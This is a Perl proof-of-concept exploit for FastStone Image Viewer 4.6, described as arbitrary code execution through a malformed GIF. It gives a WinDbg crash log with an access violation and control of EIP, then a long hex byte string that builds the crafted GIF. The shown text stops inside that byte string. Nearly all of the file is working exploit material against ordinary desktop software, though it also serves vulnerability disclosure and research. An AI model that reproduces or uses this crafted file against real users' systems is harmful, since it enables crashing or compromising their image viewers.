#!/usr/bin/perl
# FastStone Image Viewer 4.6 <= ReadAVonIP Arbitrary Code Execution
# Author: Jean Pascal Pereira <[email protected]>
# Vendor URI: http://www.faststone.org
# Vendor Description:
# An image browser, converter and editor that supports all major graphic formats including BMP, JPEG, JPEG 2000,
# GIF, PNG, PCX, TIFF, WMF, ICO, TGA and camera raw files. It has a nice array of features such as image viewing,
# management, comparison, red-eye removal, emailing, resizing, cropping, color adjustments, musical slideshow and much more.
# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
# CommandLine: "C:\Program Files\FastStone Image Viewer\FSViewer.exe" C:\research\fsview\crafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path. *
# * Use .symfix to have the debugger choose a symbol path. *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is:
# ModLoad: 00400000 00a5a000 image00400000
# ModLoad: 7c900000 7c9b2000 ntdll.dll
# ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
# ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\advapi32.dll
# ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
# ModLoad: 73b50000 73b67000 C:\WINDOWS\system32\avifil32.dll
# ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
# ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
# ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.dll
# ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll
# ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll
# ModLoad: 75a70000 75a91000 C:\WINDOWS\system32\MSVFW32.dll
# ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll
# ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\COMCTL32.dll
# ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll
# ModLoad: 77120000 771ab000 C:\WINDOWS\system32\oleaut32.dll
# ModLoad: 74810000 7497e000 C:\WINDOWS\system32\quartz.dll
# ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\version.dll
# ModLoad: 73000000 73026000 C:\WINDOWS\system32\winspool.drv
# (dd8.ef4): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll
# ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll
# ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime
# ModLoad: 5edd0000 5ede7000 C:\WINDOWS\system32\olepro32.dll
# ModLoad: 77920000 77a13000 C:\WINDOWS\system32\SETUPAPI.dll
# ModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dll
# ModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLL
# ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\NETAPI32.dll
# ModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dll
# ModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.DLL
# ModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dll
# ModLoad: 76fd0000 7704f000 C:\WINDOWS\system32\CLBCATQ.DLL
# ModLoad: 77050000 77115000 C:\WINDOWS\system32\COMRes.dll
# ModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dll
# ModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dll
# ModLoad: 76bf0000 76bfb000 C:\WINDOWS\system32\psapi.dll
# ModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dll
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=0000320e ebx=007fcdf2 ecx=0012c000 edx=00130000 esi=0011f7b8 edi=00000000
# eip=007cdea2 esp=0011f750 ebp=0011f770 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
# *** WARNING: Unable to verify checksum for image00400000
# *** ERROR: Module load completed but symbols could not be loaded for image00400000
# image00400000+0x3cdea2:
# 007cdea2 893a mov dword ptr [edx],edi ds:0023:00130000=78746341
# 0:000> g;g;r;!exploitable -v;q
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00000000 edx=7c9032bc esi=00000000 edi=00000000
# eip=00000000 esp=0011efb0 ebp=0011efd0 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
# 00000000 ?? ???
# HostMachine\HostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
# Exception Faulting Address: 0x0
# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Read Access Violation
# Exception Hash (Major/Minor): 0x30337b6e.0x4a092676
# Stack Trace:
# Unknown
# ntdll!RtlConvertUlongToLargeInteger+0x6a
# ntdll!RtlConvertUlongToLargeInteger+0x3c
# ntdll!KiUserExceptionDispatcher+0xe
# ntdll!RtlConvertUlongToLargeInteger+0x3c
# ntdll!KiUserExceptionDispatcher+0xe
# image00400000+0x3ce1ad
# image00400000+0x3ce423
# Instruction Address: 0x0000000000000000
# Proof of Concept:
my $crafted =
"\x47\x49\x46\x38\x39\x61\x32\x00\x32\x00\x84\x00\x00\x8C\x8A\x8C".
"\xC4\xC6\xC4\xE4\xE6\xE4\xA4\xA6\xA4\xD4\xD6\xD4\x9C\x9A\x9C\xF4".
"\xF6\xF4\xBC\xBA\xBC\x94\x92\x94\xCC\xCE\xCC\xEC\xEE\xEC\xDC\xDE".
"\xDC\xB4\xB2\xB4\xA4\xA2\xA4\xFC\xFE\xFC\x8C\x8E\x8C\xCC\xCA\xCC".
"\xEC\xEA\xEC\xAC\xAA\xAC\xDC\xDA\xDC\x9C\x9E\x9C\xFC\xFA\xFC\xBC".
"\xBE\xBC\x94\x96\x94\xD4\xD2\xD4\xF4\xF2\xF4\xE4\xE2\xE4\xE4\xE4".
"\xE4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21\xFF\x0B".
"\x4E\x45\x54\x53\x43\x41\x50\x45\x32\x2E\x30\x03\x01\x00\x00\x00".
"\x21\xF9\x04\x09\x06\x00\x1B\x00\x2C\x00\x00\x00\x00\x32\x00\x32".
"\x00\x00\x05\xFE\xE0\x26\x8E\x64\x49\x0A\x91\x92\x09\x22\x74\x04".
"\xD8\x62\xCE\x74\x5D\x0A\x99\xE1\x54\x8E\xA3\x88\x8C\x07\xE0\x71".
"\x19\x58\x26\x1A\x9B\x92\x16\xD1\xF5\x9E\x3E\xE0\x10\x30\x7D\x48".
"\x12\xC9\xE5\xB2\x09\xED\xFE\x36\x8C\xA1\x50\x48\x7D\x34\x30\x59".
"\xAD\x09\xD7\x6D\x7F\x83\xD4\x6A\xF9\xC1\x90\xA9\x49\xDC\xB6\x57".
"\xFA\x20\x8F\xAB\x14\x04\x77\x23\x19\x7A\x6E\x7C\x65\x53\x8A\x0F".
"\x08\x09\x83\x22\x4E\x86\x3D\x6F\x7E\x55\x63\x42\x14\x13\x6A\x11".
"\x2C\x1B\x02\x91\x86\x6F\x62\x8B\x55\x05\x82\x5A\x02\x3B\x9D\x1B".
"\xA0\x5D\x15\x11\x22\x16\x05\x7D\x72\x63\x05\x9A\x22\x2B\x35\x02".
"\x3C\xAA\x22\x6C\x50\x15\x0A\x11\x69\x1B\x0B\x13\x01\x03\xB4\xB6".
"\xA7\xAC\xBE\x33\x85\x4F\x15\xAB\x4E\xD3\x4B\x04\x12\xCC\x23\x91".
"\x19\x33\x11\x6D\xD6\x1B\x11\x19\xB0\x6A\x1A\x10\x17\xA6\xBF\xD1".
"\x4F\xE5\x24\xAD\x3D\xE1\x8F\x22\x13\xB8\xCE\xAE\x25\xDF\x86\xF2".
"\xF3\xBF\xF0\x3D\xEE\xEE\xE9\xE1\xD7\x8F\x5D\x1B\x03\x23\x52\x49".
"\x0A\xD8\x4F\x9C\x24\x07\xE5\x0C\x76\x41\xD8\xB0\x44\x2F\x3D\xDD".
"\x04\xB6\x61\x58\x51\xE1\x40\x4F\x92\x2A\x54\x9C\xF1\xAF\x07\x0A".
"\x49\x5F\xE9\x46\x92\x50\xB0\x90\xA5\x21\x8E\x23\x3D\xBA\x91\x28".
"\x6D\x95\xCA\x5F\x17\xBB\x90\x53\x91\x81\xA7\x8A\x94\x37\x47\x8C".
"\xF3\x99\xA1\x27\xCC\xA0\x48\x93\xDE\x49\xD1\xF3\xA7\x8A\xA3\x23".
"\x15\x38\x6D\x4A\x8E\x66\x3C\x9B\x37\x79\x19\xEA\xB9\x50\xA9\x4C".
"\x2F\xFA\xF4\x00\xBD\xE9\x52\x0F\xA7\x9C\x50\x28\x22\xAD\x80\xF6".
"\x09\x8B\xB6\xED\x90\x7E\x0D\x26\xA2\xEC\x41\xA4\x25\x1D\x64\x0C".
"\x6B\xF6\x26\xDF\x8D\xDB\x42\x62\x9D\x67\x35\x1E\x1E\xC1\x2A\x81".
"\x01\x26\x01\x97\xE0\x20\x01\xD4\xC0\x99\xF8\xFB\x0C\x07\xD4\x19".
"\x0A\xD8\x76\x1A\xD7\x05\xA6\x41\x79\x4E\x0C\x5C\xF6\x57\x33\x70".
"\x8F\x8C\x6B\x7A\x85\xFB\x34\x71\x98\x4D\xC8\x0A\xE0\xAD\x2E\xE4".
"\x58\xA8\x66\x42\x21\xCB\x65\x7E\x28\x8F\x9C\x12\x4E\xA6\xBB\x6E".
"\x28\x1C\x6C\xB0\x16\xE2\x71\x35\x22\x1E\x84\x3C\x79\xF3\xE4\x4B".
"\xE1\xEE\x19\xFE\x30\xDE\x68\x1A\x8A\x43\xE5\xAA\xAE\xAB\x62\x04".
"\xE9\x51\xA8\xEF\xBB\xBE\xE9\xDF\x17\xAB\xAF\x94\x8A\x48\x91\xF3".
"\x7C\xB0\xEE\xEA\x4F\x30\x2D\x37\x14\xF8\xBC\x10\x00\x21\xF9\x04".
"\x09\x06\x00\x1C\x00\x2C\x00\x00\x00\x00\x32\x00\x32\x00\x84\x8C".
"\x8A\x8C\xC4\xC6\xC4\xE4\xE6\xE4\xA4\xA6\xA4\xD4\xD6\xD4\x9C\x9A".
"\x9C\xF4\xF6\xF4\xB4\xB6\xB4\x94\x92\x94\xCC\xCE\xCC\xEC\xEE\xEC".
"\xDC\xDE\xDC\xAC\xAE\xAC\xA4\xA2\xA4\xFC\xFE\xFC\xBC\xBE\xBC\x8C".
"\x8E\x8C\xCC\xCA\xCC\xEC\xEA\xEC\xDC\xDA\xDC\x9C\x9E\x9C\xFC\xFA".
"\xFC\xBC\xBA\xBC\x94\x96\x94\xD4\xD2\xD4\xF4\xF2\xF4\xE4\xE2\xE4".
"\xB4\xB2\xB4\xE4\xE4\xE4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05".
"\xFE\x20\x27\x8E\x64\x49\x0A\x92\x92\x09\xA2\x94\x49\x12\x6B\xCE".
"\x74\x7D\x66\x86\x53\x39\x8E\x22\x66\x3C\x9E\x61\x65\x2B\xD6\x24".
"\xB9\x60\xD0\xC7\x01\x2A\x85\x12\xA3\x94\x83\x7C\x2A\x99\x4E\xAB".
"\x4E\x36\x35\x09\xB2\xDA\xDE\x2F\x1C\x24\x76\x47\x55\x32\x0F\xAB".
"\xE6\x55\xB8\x5D\x30\x99\xDD\xD6\x45\xCF\x9C\xA4\x9A\xDE\x7E\x4F".
"\x63\x22\x02\x7A\x61\x7C\x64\x7E\x52\x02\x5B\x23\x83\x4F\x15\x77".
"\x0A\x3B\x86\x32\x1A\x07\x18\x35\x02\x91\x87\x5F\x8D\x0A\x12\x1A".
"\x27\x29\x91\x4A\x87\x1A\x0C\x00\x14\x9F\x33\x60\x87\x79\x6E\x70".
"\x34\x69\x8A\x1C\xA5\x10\x10\x00\x1B\xA9\x24\x12\x56\x87\x2E\x77".
"\x7F\xB2\xA5\x00\xB6\xB5\x96\x25\x8C\xAE\x78\xBA\x93\x0C\xC4\x00".
"\xC3\x0D\xB9\x54\x92\xCA\x25\xC2\xC3\xC3\xC4\x11\x24\xC8\x41\xAC".
"\xD5\x1C\x1B\xD8\xCE\xB5\x03\xA9\x89\x64\xBF\xE0\x1C\x09\xB6\xCF".
"\xD8\xCF\x10\x13\x63\x61\x06\xEB\x24\xC2\xB5\xE3\xB6\x0F\x22\xDD".
"\x3C\xEA\xEE\x61\x70\x06\x0F\x42\x03\x0E\xE8\xB4\x54\xB8\x67\x62".
"\x40\xBC\x77\xC3\x2E\x4C\xD8\x45\x88\x61\x89\x00\xF1\x88\xB9\xC3".
"\xA0\x20\x9D\x45\x12\x04\x10\x8C\x1B\x17\x40\x8E\xB7\x57\x0C\xDB".
"\x17\x14\x20\x87\xCD\x42\x8A\x0C\x19\x54\xC4\x8C\xF9\xF1\xA2\x85".
"\x07\x38\x73\x3E\x48\x50\xB3\xA7\xCF\x6A\x2F\x15\xA8\x10\xFA\xE2".
"\x27\x07\xA2\x48\x55\xB8\x08\xF3\xCD\x22\xA6\x30\x31\x3D\xF6\x4C".
"\x68\xA5\xD3\x1C\x9F\x1D\xC3\xC4\x10\xF5\xC4\x5E\xCF\x0A\x5C\x95".
"\xB0\x08\xAB\x24\xE0\x3A\xAA\x8D\x44\x64\xD5\xE2\xD5\xE2\x3F\x07".
"\x19\x5A\xA8\x31\xAB\x8C\xA2\xD6\x45\xD4\xEE\x99\xF4\xA6\x2B\xEF".
"\xD9\xBD\x0E\x02\x92\x95\x55\x4D\x00\x17\x64\x0B\x4B\xD8\x3D\x19".
"\xA8\x68\x17\x48\xBD\xE4\xD0\x5D\x75\x18\x8A\x11\x41\x8C\xFD\x95".
"\xA1\xF1\x54\x16\x66\x25\x06\x3A\xC1\x31\xAC\x00\xB1\x8C\x4D\x4D".
"\x75\x81\xE5\x02\xD8\x8E\xDA\xC1\x99\x9B\xD0\x5D\x86\x77\x2E\x3D".
"\x35\xA9\xA5\xB4\x0E\x72\xE7\xED\x28\x94\x45\x76\xF3\xBE\xDD\x66".
"\xF6\x11\xD8\x57\x88\x33\x35\x6E\x63\xD3\x1E\xE5\x56\xCC\x80\x93".
"\x80\xBC\x50\x23\xE6\x67\x62\x25\x6F\xA2\x10\x3B\x50\x48\xDB\x57".
"\x49\x37\x1A\xE8\xE5\x1D\x17\xA2\xAB\x85\x00\x00\x21\xF9\x04\x09".
"\x06\x00\x1D\x00\x2C\x00\x00\x00\x00\x32\x00\x32\x00\x84\x8C\x8A".
"\x8C\xC4\xC6\xC4\xE4\xE6\xE4\xA4\xA6\xA4\xD4\xD6\xD4\x9C\x9A\x9C".
"\xF4\xF6\xF4\xB4\xB6\xB4\x94\x92\x94\xCC\xCE\xCC\xEC\xEE\xEC\xAC".
"\xAE\xAC\xDC\xDE\xDC\xA4\xA2\xA4\xFC\xFE\xFC\xBC\xBE\xBC\x8C\x8E".
"\x8C\xCC\xCA\xCC\xEC\xEA\xEC\xAC\xAA\xAC\xDC\xDA\xDC\x9C\x9E\x9C".
"\xFC\xFA\xFC\xBC\xBA\xBC\x94\x96\x94\xD4\xD2\xD4\xF4\xF2\xF4\xB4".
"\xB2\xB4\xE4\xE2\xE4\xE4\xE4\xE4\x00\x00\x00\x00\x00\x00\x05\xFE".
"\x60\x27\x8E\x64\x49\x0A\x92\xA2\x09\xA2\xA4\x49\x12\x6B\xCE\x74".
"\x7D\x6A\x86\x63\x39\x8E\x22\x6A\x3C\x9E\x61\x65\x2B\xD6\x24\xB9".
"\x60\xD0\xD7\x01\x2A\x85\x12\xA3\xB4\x83\x7C\x2A\x99\x4E\xAB\x4E".
"\x36\x35\x09\xB2\xDA\xDE\x2F\x1C\x24\x76\x47\x55\x32\x0F\xAB\xE6".
"\x59\xB8\x5D\x30\x99\xDD\xD6\x45\xCF\x9D\xA4\x9A\xDE\x7E\x4F\x63".
"\x22\x02\x7A\x61\x7C\x64\x7E\x52\x02\x5B\x23\x83\x4F\x16\x77\x0A".
"\x3B\x86\x5C\x2F\x35\x02\x91\x87\x5F\x8D\x0A\x12\x1C\x27\x29\x91".
"\x4A\x87\x79\x8A\x33\x60\xA2\x49\xA2\x47\x7A\xA7\x65\x33\x12\x56".
"\x87\x2E\x77\x7F\xA4\x99\x4A\xB3\x8B\x5A\xA9\x78\x80\x63\x8D\x25".
"\xAF\x61\xBB\x78\x1D\xB6\x56\xB8\x8C\xA1\x70\xC4\x4D\x64\x06\x23".
"\x89\x64\xB8\xCC\x1D\x0A\x6A\x77\x72\x4A\xCF\xD4\x25\xA0\x56\x1A".
"\x22\xC9\x41\xD3\xDC\xD1\xBA\xC5\x86\xDC\x33\xE2\x3C\x28\x73\xEA".
"\x26\xD6\x61\x29\xD2\xF0\x25\xE6\x56\x2A\xC2\xCB\xF0\x96\x61\x2F".
"\x2A\x34\x04\x54\xC1\xC4\x1E\x09\x17\x03\x35\x08\x24\x67\xB0\xA1".
"\xC3\x33\x29\x04\x12\x54\xC1\x10\x5E\x80\x07\x0F\x2E\x60\xC4\x78".
"\x21\x41\x36\x37\xFC\xD4\x31\x28\x00\x00\x42\x49\x00\x25\xDC\x21".
"\x5C\x90\xA7\xA5\x22\x35\x02\x08\x4E\x9A\x34\x09\x20\x40\x30\x2D".
"\x05\x0D\x06\x40\x39\x53\x66\x06\x7F\x5A\xB6\x35\x1C\x20\x53\x26".
"\x02\x06\x1D\xBC\x3D\x71\x89\x07\x66\x51\x94\x00\x1A\x88\x60\x69".
"\x45\xA8\x3A\x0E\x13\x8A\x42\xD8\x0A\xE1\x41\x8B\x6B\xF6\x12\xF4".
"\x3C\xC9\x93\x42\xAE\x7D\xF0\x36\xCC\xEC\xB9\x75\x40\xA7\xAF\x68".
"\xAF\x2E\xD0\x5A\x32\x42\x37\x5D\x21\xA7\x08\x90\xC1\x61\x2E\xDB".
"\x06\x6F\xD1\xC0\x92\xF1\x85\x69\x3C\x0B\x87\xFA\xCA\x84\x90\xA1".
"\x94\xB2\xB3\x06\x0C\x17\x5B\xC5\x37\x2B\xCA\x0D\x81\x4F\x5C\x22".
"\xCC\xC8\xC0\x26\x38\x7B\x15\x24\x4B\xBC\x00\x42\x05\xA4\x34\x24".
"\x20\x9E\x64\xE8\x91\xD2\x46\x7C\x37\x34\xB6\xD1\x6B\x14\xD8\x66".
"\x7D\xF2\x16\xF9\xB8\x34\x5C\x1D\x52\x71\x7E\x63\xFB\xED\x40\x32".
"\xB0\xD7\xF9\x7C\xA9\x71\xC4\xCC\x18\x21\xE5\xFF\x74\x4B\x51\xFD".
"\x0E\xB7\x2E\xE3\xD3\xC5\x15\x0A\xC2\xFC\x21\x15\x48\x57\xA0\x5B".
"\x30\xE3\xDD\x13\xC5\x16\x0B\xA5\xD7\x08\x01\x00\x21\xF9\x04\x09".
"\x06\x00\x1C\x00\x2C\x00\x00\x00\x00\x32\x00\x32\x00\x84\x8C\x8A".
"\x8C\xC4\xC6\xC4\xE4\xE6\xE4\xA4\xA6\xA4\xD4\xD6\xD4\x9C\x9A\x9C".
"\xF4\xF6\xF4\xBC\xBA\xBC\x94\x92\x94\xCC\xCE\xCC\xEC\xEE\xEC\xAC".
"\xAE\xAC\xDC\xDE\xDC\xA4\xA2\xA4\xFC\xFE\xFC\x8C\x8E\x8C\xCC\xCA".
"\xCC\xEC\xEA\xEC\xAC\xAA\xAC\xDC\xDA\xDC\x9C\x9E\x9C\xFC\xFA\xFC".
"\xBC\xBE\xBC\x94\x96\x94\xD4\xD2\xD4\xF4\xF2\xF4\xB4\xB2\xB4\xE4".
"\xE2\xE4\xE4\xE4\xE4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xFE".
"\x20\x27\x8E\x64\x49\x0A\x91\x92\x09\x62\x94\x45\x11\x6B\xCE\x74".
"\x7D\x66\x86\x53\x39\x8E\x22\x66\x3C\x9E\x61\x65\x2B\xD6\x22\xB9".
"\x60\xD0\xC7\x01\x2A\x85\x11\xA3\x94\x83\x7C\x2A\x99\x4E\xAB\x4E".
"\x36\x35\x09\xB2\xDA\xDE\x2F\x1C\x24\x76\x47\x55\x32\x0F\xAB\xE6".
"\x55\xB8\x5D\x30\x99\xDD\xD6\x45\xCF\x9C\xA4\x9A\xDE\x7E\x4F\x63".
"\x22\x02\x7A\x61\x7C\x64\x7E\x52\x02\x5B\x23\x83\x4F\x15\x77\x0A".
"\x3B\x86\x5C\x2F\x35\x02\x91\x87\x5F\x8D\x0A\x11\x1B\x27\x29\x91".
"\x4A\x87\x79\x8A\x33\x60\xA2\x49\xA2\x47\x7A\xA7\x65\x33\x11\x56".
"\x87\x2E\x77\x7F\xA4\x99\x4A\xB3\x8B\x5A\xA9\x78\x80\x63\x8D\x25".
"\xAF\x61\xBB\x78\x1C\xB6\x56\xB8\x8C\xA1\x70\xC4\x4D\x64\x06\x23".
"\x89\x64\xB8\xCC\x1C\x0A\x6A\x77\x72\x4A\xCF\xD4\x25\xA0\x56\x19".
"\x22\xC9\x41\xD3\xDC\xD1\xBA\xC5\x86\xDC\x33\xE2\x3C\x28\x73\xEA".
"\x26\xD6\x61\x29\xD2\xF0\x25\xE6\x56\x2A\xC2\xCB\xF0\x96\x61\x2F".
"\x2A\x32\x04\x54\xC1\xC4\x1E\x09\x17\x03\x33\x08\x24\x67\xB0\xA1".
"\xC3\x33\x29\x04\x12\x54\xC1\x10\x9E\x82\x89\x12\x5F\x64\x73\xC3".
"\x4F\x9D\x3F\x2D\x02\xEB\x39\xC4\xF7\x64\xD3\x3B\x87\xF2\xE2\xB4".
"\xC4\xF0\xA6\xED\x61\x05\x96\x41\x58\xC0\x1C\xD7\x90\x64\x28\x11".
"\x29\xAD\x6C\xB3\xC7\xCE\x01\x38\x2A\xD7\xEC\x05\x9B\x97\x6B\x1F".
"\xBC\x8D\x6E\x0E\x4A\xEA\x87\x74\xDA\xCC\x61\x5D\x26\x4C\x28\x7A".
"\x13\x18\x2C\x19\x5F\x2A\xCE\xD8\x90\xE0\x42\x81\xA9\xC5\x18\x31".
"\x34\xC5\x25\x89\x01\xAD\x23\x08\x48\x78\xF0\x00\x00\x05\xB0\xCD".
"\x78\xFC\xF4\x72\x09\x2B\x23\x03\x9B\xE0\x30\x98\x10\x60\x00\x5B".
"\x00\x6D\x01\x7C\x0D\x04\x04\x6A\x8B\x97\x93\x0C\xDD\x39\x50\xA0".
"\x6D\x60\xC7\x00\x04\xC3\xA5\x64\xA3\xD7\xA8\xA0\x1C\x34\x40\xFE".
"\xEB\x98\x6D\x01\x02\xCC\x90\xDE\x12\xB1\x00\x32\xE0\xD3\x8F\x07".
"\x9F\x11\x3D\x3A\xF3\x63\xD3\x9D\x11\x24\xE0\x35\xB3\xA4\x08\x0D".
"\xA8\x23\x73\x06\x4C\x01\x03\x33\x63\x84\x48\x9F\x06\xFC\x18\xB0".
"\x06\x06\xEA\x22\xD4\x16\x93\x99\xB8\x6E\xE2\x0D\x30\x74\x12\x2A".
"\x8E\x09\x6E\xE7\x6C\x25\x40\x98\xEE\xF0\xD3\x15\xE1\x6D\x2F\x34".
"\xB0\x30\x81\xFB\x43\x68\x11\xEF\x04\x38\x10\x00\x03\x72\x62\x21".
"\x00\x00\x21\xF9\x04\x09\x06\x00\x1C\x00\x2C\x00\x00\x00\x00\x32".
"\x00\x32\x00\x84\x8C\x8A\x8C\xC4\xC6\xC4\xE4\xE6\xE4\xA4\xA6\xA4".
"\xD4\xD6\xD4\x9C\x9A\x9C\xF4\xF6\xF4\xB4\xB6\xB4\x94\x92\x94\xCC".
"\xCE\xCC\xEC\xEE\xEC\xDC\xDE\xDC\xAC\xAE\xAC\xA4\xA2\xA4\xFC\xFE".
"\xFC\xBC\xBE\xBC\x8C\x8E\x8C\xCC\xCA\xCC\xEC\xEA\xEC\xDC\xDA\xDC".
"\x9C\x9E\x9C\xFC\xFA\xFC\xBC\xBA\xBC\x94\x96\x94\xD4\xD2\xD4\xF4".
"\xF2\xF4\xE4\xE2\xE4\xB4\xB2\xB4\xE4\xE4\xE4\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x05\xFE\x20\x27\x8E\x64\x49\x0A\x92\x92\x09\xA2".
"\x94\x49\x12\x6B\xCE\x74\x7D\x66\x86\x53\x39\x8E\x22\x66\x3C\x9E".
"\x61\x65\x2B\xD6\x24\xB9\x60\xD0\xC7\x01\x2A\x85\x12\xA3\x94\x83".
"\x7C\x2A\x99\x4E\xAB\x4E\x36\x35\x09\xB2\xDA\xDE\x2F\x1C\x24\x76".
"\x47\x55\x32\x0F\xAB\xE6\x55\xB8\x5D\x30\x99\xDD\xD6\x45\xCF\x9C".
"\xA4\x9A\xDE\x7E\x4F\x63\x22\x02\x7A\x61\x7C\x64\x7E\x52\x02\x5B".
"\x23\x83\x4F\x15\x77\x0A\x3B\x86\x5C\x2F\x35\x02\x91\x87\x5F\x8D".
"\x0A\x12\x1A\x27\x29\x91\x4A\x87\x79\x8A\x33\x60\xA2\x49\xA2\x47".
"\x7A\xA7\x65\x33\x12\x56\x87\x2E\x77\x7F\xA4\x99\x4A\xB3\x8B\x5A".
"\xA9\x78\x80\x63\x8D\x25\xAF\x61\xBB\x78\x1C\xB6\x56\xB8\x8C\xA1".
"\x70\xC4\x4D\x64\x06\x23\x89\x64\xB8\xCC\x1C\x0A\x6A\x77\x72\x4A".
"\xCF\xD4\x25\xA0\x56\x19\x22\xC9\x41\xD3\xDC\xD1\xBA\xC5\x86\xDC".
"\x33\xE2\x3C\x28\x73\xEA\x26\xD6\x61\x29\xD2\xF0\x25\xE6\x56\x2A".
"\xC2\xCB\xF0\x96\x61\x2F\x2A\x32\x04\x54\xC1\xC4\x1E\x09\x17\x03".
"\x33\x08\x24\x67\xB0\xA1\xC3\x33\x29\x04\x12\x54\xC1\x10\x9E\x82".
"\x89\x12\x5F\x64\x73\xC3\x4F\x9D\x3F\x2D\x02\xEB\x39\xC4\xF7\x64".
"\xD3\x3B\x87\xF2\xD6\xB4\xC4\xF0\xA6\xED\x61\x05\x96\x41\x58\xC0".
"\x1C\xD7\x90\x64\x28\x11\x29\xAD\x6C\xB3\xC7\xCE\x01\x38\x2A\xD7".
"\xEC\x05\x9B\x97\x6B\x1F\xBC\x8D\x6E\x0E\x4A\xEA\x87\x74\xDA\xCC".
"\x61\x5D\x04\x70\x49\x56\xC1\xC4\xD0\x20\x87\x34\x1C\x88\xD0\x69".
"\x0A\xA4\x58\x72\x18\x9A\x92\xA1\x81\x01\x00\x08\x0C\x08\x18\x49".
"\x43\x6A\x14\x8F\x9F\x5E\x2E\x91\x65\x00\x01\x80\x5D\x08\x03\x02".
"\x4C\x58\xE0\x49\x81\x01\x96\x98\x80\x40\x6D\xF1\x72\x6E\x5D\x08".
"\x87\xED\x22\xB8\x80\x01\xE7\xCB\xA5\x3F\x2A\xA2\x31\x7C\xB6\x72".
"\x62\x08\x11\x7C\xA9\x19\x6C\xA3\xEC\xE5\xBB\x96\x33\x37\xAB\xC3".
"\x99\xC6\x86\xC4\x96\x53\x8B\x46\x7A\x0C\x0F\x06\x0A\x9F\xEB\x86".
"\xD6\x6C\x48\xB2\x8D\x05\xA7\x41\xA7\x06\xB0\xBA\x8D\x19\x66\x1A".
"\x30\x34\x88\x7D\xB6\xB7\x30\xDB\x5D\x34\x24\x18\x80\x58\x35\x4E".
"\x5D\xC8\x89\x69\x98\xF0\xA0\xC1\x85\xC3\xC6\xDD\xFC\x7E\x48\x62".
"\x01\x86\x00\x16\xD4\x56\x5B\xD8\xD1\x48\x08\x00\x21\xF9\x04\x09".
"\x06\x00\x1B\x00\x2C\x00\x00\x00\x00\x32\x00\x32\x00\x00\x37\xFE".
"\xE0\x26\x8E\x64\x49\x0A\x91\x92\x09\x62\x94\x45\x11\x6B\xCE\x74".
"\x7D\x66\x86\x53\x39\x8E\x22\x66\x3C\x9E\x61\x65\x2B\xD6\x22\xB9".
"\x60\xD0\xB7\x01\x2A\x85\x11\xA3\x74\x83\x7C\x2A\x99\x4E\xAB\x4E".
"\x36\x35\x09\xB2\xDA\xDE\x2F\x1C\x24\x76\x47\x55\x32\x0F\xAB\xE6".
"\x55\xB8\x5D\x30\x99\xDD\xD6\x45\xCF\x9B\xA4\x9A\xDE\x7E\x4F\x63".
"\x22\x02\x7A\x61\x7C\x64\x7E\x52\x02\x5B\x23\x83\x4F\x15\x77\x0A".
"\x3B\x86\x5C\x2F\x35\x02\x91\x87\x5F\x8D\x0A\x11\x1A\x27\x29\x91".
"\x4A\x87\x79\x8A\x33\x60\xA2\x49\xA2\x47\x7A\xA7\x65\x33\x11\x56".
"\x87\x2E\x77\x7F\xA4\x99\x4A\xB3\x8B\x5A\xA9\x78\x80\x63\x8D\x25".
